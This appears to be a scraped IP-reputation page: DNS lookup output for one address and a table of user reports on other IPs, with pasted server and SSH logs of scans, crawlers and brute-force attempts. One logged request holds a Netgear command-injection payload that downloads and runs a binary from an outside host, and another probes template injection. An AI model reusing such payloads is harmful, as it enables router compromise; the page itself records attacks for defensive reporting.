城市(city): unknown
省份(region): unknown
国家(country): United States of America (the)
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 70.34.146.0
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 53880
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;70.34.146.0. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025021102 1800 900 604800 86400
;; Query time: 35 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Wed Feb 12 11:59:15 CST 2025
;; MSG SIZE rcvd: 1040.146.34.70.in-addr.arpa domain name pointer customer-70-34-146-0.host.ussignalcom.net.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
0.146.34.70.in-addr.arpa name = customer-70-34-146-0.host.ussignalcom.net.
Authoritative answers can be found from:| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 3.88.68.180 | bots | 3.88.68.180 - - [12/Jun/2019:10:42:03 +0800] "GET /check-ip/ HTTP/1.1" 200 2935 "-" "Jersey/2.25.1 (Apache HttpClient 4.5)" 3.88.68.180 - - [12/Jun/2019:10:42:06 +0800] "GET /report-ip HTTP/1.1" 200 2896 "-" "Jersey/2.25.1 (Apache HttpClient 4.5)" 3.88.68.180 - - [12/Jun/2019:10:42:08 +0800] "GET /faq HTTP/1.1" 200 3002 "-" "Jersey/2.25.1 (Apache HttpClient 4.5)" 3.88.68.180 - - [12/Jun/2019:10:42:11 +0800] "GET /aboutus HTTP/1.1" 200 3469 "-" "Jersey/2.25.1 (Apache HttpClient 4.5)" 3.88.68.180 - - [12/Jun/2019:10:42:13 +0800] "GET /report-ip HTTP/1.1" 200 2898 "-" "Jersey/2.25.1 (Apache HttpClient 4.5)" 3.88.68.180 - - [12/Jun/2019:10:42:25 +0800] "GET /check-ip/117.90.66.176 HTTP/1.1" 200 9849 "-" "Jersey/2.25.1 (Apache HttpClient 4.5)" |
2019-06-12 10:43:30 |
| 58.217.159.126 | botsattack | 建议禁掉 58.217.159.126 - - [17/May/2019:10:13:26 +0800] "POST /sdk HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" 58.217.159.126 - - [17/May/2019:10:13:26 +0800] "GET / HTTP/1.0" 301 194 "-" "-" 58.217.159.126 - - [17/May/2019:10:13:36 +0800] "POST /sdk HTTP/1.1" 400 280 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" 58.217.159.126 - - [17/May/2019:10:13:36 +0800] "GET / HTTP/1.0" 400 280 "-" "-" |
2019-05-17 10:14:27 |
| 111.202.101.135 | bots | sogouspider |
2019-05-20 09:17:01 |
| 142.44.176.72 | bots | 142.44.176.72 - - [16/May/2019:15:23:15 +0800] "GET /check-ip/96.210.100.188 HTTP/1.1" 200 10022 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)" 142.44.176.72 - - [16/May/2019:15:23:33 +0800] "GET /check-ip/96.210.100.188 HTTP/1.1" 200 10371 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre" 142.44.176.72 - - [16/May/2019:15:23:47 +0800] "GET /check-ip/96.210.100.188 HTTP/1.1" 200 10111 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0" 142.44.176.72 - - [16/May/2019:15:23:58 +0800] "GET /check-ip/96.210.100.188 HTTP/1.1" 200 10460 "-" "Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0" |
2019-05-16 15:25:51 |
| 139.59.190.69 | attack | Jun 10 13:15:29 vmd17057 sshd\\[32574\\]: Invalid user postgres from 139.59.190.69 port 60410 Jun 10 13:15:29 vmd17057 sshd\\[32574\\]: pam_unix\\(sshd:auth\\): authentication failure\\; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.59.190.69 Jun 10 13:15:31 vmd17057 sshd\\[32574\\]: Failed password for invalid user postgres from 139.59.190.69 port 60410 ssh2 |
2019-06-12 10:47:11 |
| 159.203.173.152 | attack | 159.203.173.152 - - [03/Jun/2019:10:41:35 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://104.168.204.214/akbins/mips.akira.ak%20-O%20/var/tmp/mips.akira.ak;%20chmod%20777%20/var/tmp/mips.akira.ak;%20/var/tmp/mips.akira.ak;%20rm%20-rf%20/var/tmp/mips.akira.ak&curpath=/¤tsetting.htm=1" 400 0 "-" "-" |
2019-06-03 10:42:31 |
| 119.131.210.74 | attack | 119.131.210.74 - - [29/May/2019:12:42:12 +0800] "GET /gs-guide-websocket/803/a8vbaovq/htmlfile?c=_jp.local HTTP/1.1" 301 194 "-" "-"
119.131.210.74 - - [29/May/2019:12:42:12 +0800] "GET /console/login/LoginForm.jsp HTTP/1.1" 301 194 "-" "-"
119.131.210.74 - - [29/May/2019:12:42:12 +0800] "POST /website/blog/ HTTP/1.1" 301 194 "-" "-"
119.131.210.74 - - [29/May/2019:12:42:13 +0800] "GET /core/install.php?rewrite=ok&langcode=en HTTP/1.1" 301 194 "-" "-"
119.131.210.74 - - [29/May/2019:12:42:13 +0800] "POST /RPC2 HTTP/1.1" 301 194 "-" "-"
119.131.210.74 - - [29/May/2019:12:42:13 +0800] "GET /users HTTP/1.1" 301 194 "-" "-"
119.131.210.74 - - [29/May/2019:12:42:13 +0800] "POST /flex2gateway/amf HTTP/1.1" 301 194 "-" "-"
119.131.210.74 - - [29/May/2019:12:42:13 +0800] "GET /?name={{1024*1023}} HTTP/1.1" 301 194 "-" "-"
119.131.210.74 - - [29/May/2019:12:42:13 +0800] "GET /ws_utc/resources/setting/options/general HTTP/1.1" 301 194 "-" "-" |
2019-05-29 13:16:54 |
| 94.23.145.174 | botsattack | 94.23.145.174 - - [15/May/2019:22:07:23 +0800] "GET /bitrix/admin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" 94.23.145.174 - - [15/May/2019:22:07:35 +0800] "GET /admin/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" 94.23.145.174 - - [15/May/2019:22:07:37 +0800] "GET /user/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" |
2019-05-15 22:08:53 |
| 39.100.71.134 | attack | Attacks websites by trying to access known vulnerables of plugins, brute-force of backends or probing of administrative tools |
2019-06-12 10:48:07 |
| 217.26.130.173 | normal | normal ip |
2019-05-25 07:40:37 |
| 46.0.118.192 | bots | 俄罗斯爬虫 |
2019-06-04 06:49:17 |
| 185.2.102.147 | bots | 185.2.102.147 - - [10/Jun/2019:18:24:52 +0800] "GET /aastra.cfg HTTP/1.0" 301 194 "-" "Wget/1.12 (linux-gnu)" 185.2.102.147 - - [10/Jun/2019:18:24:54 +0800] "GET / HTTP/1.0" 200 10435 "-" "Wget/1.12 (linux-gnu)" 185.2.102.147 - - [10/Jun/2019:18:25:29 +0800] "GET /000000000000.cfg HTTP/1.0" 301 194 "-" "Wget/1.12 (linux-gnu)" |
2019-06-10 18:26:04 |
| 123.249.83.139 | attack | 事件類型：Misc Attack 特徵碼：ET DROP Spamhaus DROP Listed Traffic Inbound group 7 |
2019-06-10 01:38:52 |
| 52.90.140.202 | bots | 52.90.140.202 - - [20/May/2019:13:04:24 +0800] "GET /check-ip/92.119.160.80 HTTP/1.1" 200 89336 "-" "Clickagy Intelligence Bot v2" |
2019-05-20 13:05:16 |
| 177.64.149.107 | normal | porra |
2019-06-13 22:03:33 |